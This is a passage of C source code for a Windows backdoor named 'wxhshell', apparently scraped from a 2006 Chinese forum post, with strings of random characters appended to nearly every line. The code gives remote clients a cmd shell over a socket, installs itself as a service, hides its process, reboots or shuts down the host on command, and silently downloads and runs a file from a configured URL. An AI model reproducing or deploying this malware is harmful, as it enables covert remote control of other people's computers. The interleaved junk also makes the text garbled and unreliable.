    switch(cmd[0]) { wpD}#LRfm  
  eExI3"|Q  
  // 帮助 x^Zm:Jrw~  
  case '?': { 48_( 'z*>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }.D adV  
    break; XZ<8M}Lg  
  } :Bi 4z(  
  // 安装 nG%<n  
  case 'i': { )4RSo&9p`  
    if(Install()) p2 !w86 F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >*EJ6FPO  
    else $ I J^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j8+>E ?nm  
    break; KMx '(  
    } uNca@xl'  
  // 卸载 -^JPY)\R  
  case 'r': { A{Qo}F<*  
    if(Uninstall()) p]qz+Z/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ScEA=  
    else p }e| E!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1'H!S%fS  
    break; QT=i>X  
    } G!Yt.M 0  
  // 显示 wxhshell 所在路径 M5 P3;  
  case 'p': {  81!gp7c  
    char svExeFile[MAX_PATH]; +LlAGg]Z  
    strcpy(svExeFile,"\n\r"); I#'yy7J  
      strcat(svExeFile,ExeFile); DiskGq@T  
        send(wsh,svExeFile,strlen(svExeFile),0); )"]( ?V  
    break; a1EQ.u  
    } w~3z) ;  
  // 重启 "5v^6R9e  
  case 'b': { J&bMox  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F_&H*kL L3  
    if(Boot(REBOOT)) )d>Dcne  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ZVhL* "  
    else { }}l jVUpC%  
    closesocket(wsh); o7^0Lo5Z?  
    ExitThread(0); </b_Rar  
    } %pLqX61t=  
    break; (+}44Ldt  
    } NZ?dJ"eq7  
  // 关机 UgD)O:xaU  
  case 'd': { 8@ f+?g*i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jhkX U+4  
    if(Boot(SHUTDOWN)) tF\_AvL_8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ANfy+@  
    else { iu$Y0.H@  
    closesocket(wsh); _YN C}PUU  
    ExitThread(0); g9Ty%|Q7(  
    } q3`~uTzk  
    break; q. j$]?PQ  
    } C=bQ2t=Z  
  // 获取shell U;M !jj  
  case 's': { Tfx-h)oP3  
    CmdShell(wsh); Ya-GDB;L  
    closesocket(wsh); fu?u~QZ8  
    ExitThread(0); ^>^h|$  
    break; "N)InPR-  
  } cqT%6Si  
  // 退出 RY1-Zjlb<  
  case 'x': { |v<4=/.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,t!I%r  
    CloseIt(wsh); m}f{o  
    break; !3{. V\P)  
    } d$8K,-M  
  // 离开 u>:j$@56  
  case 'q': { +O)ZB$w4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a5&[O  
    closesocket(wsh); A-*MH#QUKh  
    WSACleanup(); )-h{0o  
    exit(1); ]=59_bkD:s  
    break; bP,Ka  
        } >qUD_U3A  
  } 1tTY )Evf  
  } kh8 M=  
h>p,r\X  
  // 提示信息 m}]QP\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }h* j{b,  
} QU(Lv(/O  
  } b`ksTO`}x  
HBs 6:[q  
  return; qIB2eCXw  
} ,1]VY/  
\FF|b"E_=  
// shell模块句柄 ",' Zr<T  
int CmdShell(SOCKET sock) )<Mo.  
{ r%>EiHpCU  
STARTUPINFO si; vu&ny&=`  
ZeroMemory(&si,sizeof(si)); [^XD @  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c` N_MP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G_5w5dbG  
PROCESS_INFORMATION ProcessInfo; T!Lv%i*|Y  
char cmdline[]="cmd"; #B q|^:nj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G&`5o*).bb  
  return 0; C =B a|Z  
} ?j)#\s2  
?A~=.u@[d  
// 自身启动模式 kWs:7jiiu  
int StartFromService(void) iRqLLMrn  
{ cVYu(ssC4  
typedef struct $"k1^&&E  
{ %NfH`%`  
  DWORD ExitStatus; 02)Ybp6y  
  DWORD PebBaseAddress; Do5{t'm3  
  DWORD AffinityMask; i[w&!mn%  
  DWORD BasePriority; B9 ,  
  ULONG UniqueProcessId; 7[i&EPN  
  ULONG InheritedFromUniqueProcessId; qD /h/  
}   PROCESS_BASIC_INFORMATION; r"p"UW9og  
o{ccO29H/  
PROCNTQSIP NtQueryInformationProcess; :9(w~bB9$  
_@VKWU$$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b,'rz04^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QUg<~q)Oq  
Hl*#iUq  
  HANDLE             hProcess; lTFo#p_(  
  PROCESS_BASIC_INFORMATION pbi; "{d[V(lE"  
[4@@b"H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8ZJ6~~h  
  if(NULL == hInst ) return 0; Z=< D`  
wRq f'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :c`djM^ll  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); XhN?E-WywQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {7q8@`Oa  
r5+ MjR  
  if (!NtQueryInformationProcess) return 0; %o`Cp64`Q  
Hq>rK`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f9hH{ ( A  
  if(!hProcess) return 0; T+FlN-iy)  
dEor+5}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zm4e+v-  
m`b:#z  
  CloseHandle(hProcess); ie7TO{W  
/b6j<]H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \lyHQ-gWhc  
if(hProcess==NULL) return 0; = N:5#A  
.TNJuuO  
HMODULE hMod; Zc*#LsQh.`  
char procName[255]; ?+$EPaC2  
unsigned long cbNeeded; Fl"LK:)  
#vViEBVeN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); faZc18M^1  
?}jjBJ&  
  CloseHandle(hProcess); 6'e 'UD  
O<XNI(@  
if(strstr(procName,"services")) return 1; // 以服务启动 6+C]rEY/o  
db3.X~Cn#s  
  return 0; // 注册表启动 'lgS) m  
} dbF9%I@  
5j _[z|W2  
// 主模块 J`wx72/-ZW  
int StartWxhshell(LPSTR lpCmdLine) U;gy4rj  
{ k_Lv\'Ok  
  SOCKET wsl; HD z"i  
BOOL val=TRUE; 9'KOc5@l^  
  int port=0; =S\pI  
  struct sockaddr_in door; lg 1r]  
L_!}R  
  if(wscfg.ws_autoins) Install(); 6U]r3 Rr  
-NDB.~E^DJ  
port=atoi(lpCmdLine); %*Yb J_j7  
tcI Z 2H%  
if(port<=0) port=wscfg.ws_port; t~Ic{%bdA  
ZKi?;ta=  
  WSADATA data; Yof ]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  AZ-JaE  
"<"s&ws;k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4 X0ku]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b'RBel;W  
  door.sin_family = AF_INET; 0iz\<' p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uFOYyrESc  
  door.sin_port = htons(port); ={{q_G\WD  
4=|oOIhgb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @^HZTuP2;  
closesocket(wsl); Tb] h<S  
return 1; \x"BgLSE  
} <V#]3$(S  
#O7phjzgD  
  if(listen(wsl,2) == INVALID_SOCKET) { @j%7tfW  
closesocket(wsl); xI~c~KC  
return 1; "b`3   
} 1#2L9Bi  
  Wxhshell(wsl); 1\5po^Oioy  
  WSACleanup(); ZPHatC  
y"zZ9HQM  
return 0; G52z5-=v  
]YB,K)WQ  
} ~sCdvBA  
:} o{<U  
// 以NT服务方式启动 *bi;mQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Pa ^_ s  
{ Gk|T1%  
DWORD   status = 0; #jw%0H;l]  
  DWORD   specificError = 0xfffffff; quFNPdP  
q]y{ 4"=5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :/;;|lGw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MhN 8'y(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?6:e%YT  
  serviceStatus.dwWin32ExitCode     = 0; YRj"]= 5N  
  serviceStatus.dwServiceSpecificExitCode = 0; Wix4se1Ac  
  serviceStatus.dwCheckPoint       = 0; @EH@_EwYV  
  serviceStatus.dwWaitHint       = 0; 85+w\KuEY  
,6wGdaMR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |1/?>=dDm  
  if (hServiceStatusHandle==0) return; :A,7D(H|  
I&5cUj{GX-  
status = GetLastError(); :n oZ p:a  
  if (status!=NO_ERROR) =Unu>p}2V  
{ _147d5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CW~c<,"  
    serviceStatus.dwCheckPoint       = 0; j8ac8J,}c  
    serviceStatus.dwWaitHint       = 0; uecjR8\e  
    serviceStatus.dwWin32ExitCode     = status; Z'c9xvy5  
    serviceStatus.dwServiceSpecificExitCode = specificError; @u8kNXT;h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %v]-:5g'|  
    return; Qs_]U  
  } L#/<y{  
,*;g+[Bhpl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7nbaR~ZV  
  serviceStatus.dwCheckPoint       = 0;  e:6mz\J  
  serviceStatus.dwWaitHint       = 0; lq)[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cUU"*bA#  
} 7i9wfc h$U  
qkq^oHI  
// 处理NT服务事件,比如:启动、停止 <;dFiI-GO#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kj|\ALI':  
{ *YTv"  
switch(fdwControl) Qy) -gax:,  
{ :tLMh08h  
case SERVICE_CONTROL_STOP: e`% <D[-  
  serviceStatus.dwWin32ExitCode = 0; ,v(ikPzd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e{*z4q1  
  serviceStatus.dwCheckPoint   = 0; Bv}nG|  
  serviceStatus.dwWaitHint     = 0; :Y&h'FGZm  
  { ?O/!pUAu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q_|Lv&  
  } "%+9p6/  
  return; ;vgaFc]  
case SERVICE_CONTROL_PAUSE: ^L's45&_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }yM!o`90  
  break; nkz^^q`5l7  
case SERVICE_CONTROL_CONTINUE: S!7|vb*ko  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \2)~dV:6+  
  break; 8' +I8J0l  
case SERVICE_CONTROL_INTERROGATE: C0'_bTfB  
  break; D;X/7 p|>  
}; \xOv9(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l`*R !\  
} :"Kr-Hm`  
2;YL+v2  
// 标准应用程序主函数 E)( Rhvij  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qLm g18  
{ wmFS+F4`2  
FJ O- p  
// 获取操作系统版本 Iz I hC  
OsIsNt=GetOsVer(); lkgB,cflpi  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yf x'7gj  
~ 6Hi"w  
  // 从命令行安装 ]Hrw$\Ky  
  if(strpbrk(lpCmdLine,"iI")) Install(); +v|]RgyW)  
,a} vx"~  
  // 下载执行文件 f15n ~d  
if(wscfg.ws_downexe) { rNX]tp{j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e>$E67h<~  
  WinExec(wscfg.ws_filenam,SW_HIDE); FeuqqZ\=&  
} <0H^2ekd  
'E#Bz"T  
if(!OsIsNt) {  x5W. 3*  
// 如果时win9x,隐藏进程并且设置为注册表启动 !a9/8U_>XF  
HideProc(); >66v+  
StartWxhshell(lpCmdLine); @Yh%.#\i%  
} &, WQr  
else }%k 3  
  if(StartFromService()) |(rTz!!-  
  // 以服务方式启动 -{S: sK.o  
  StartServiceCtrlDispatcher(DispatchTable); Y kcN-  
else =BBDh`$R  
  // 普通方式启动  8=j_~&*  
  StartWxhshell(lpCmdLine); Ea?u5$>gY"  
i^&^eg'.5  
return 0; :<`po4/  
}
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只看该作者 1 发表于: 2006-10-10
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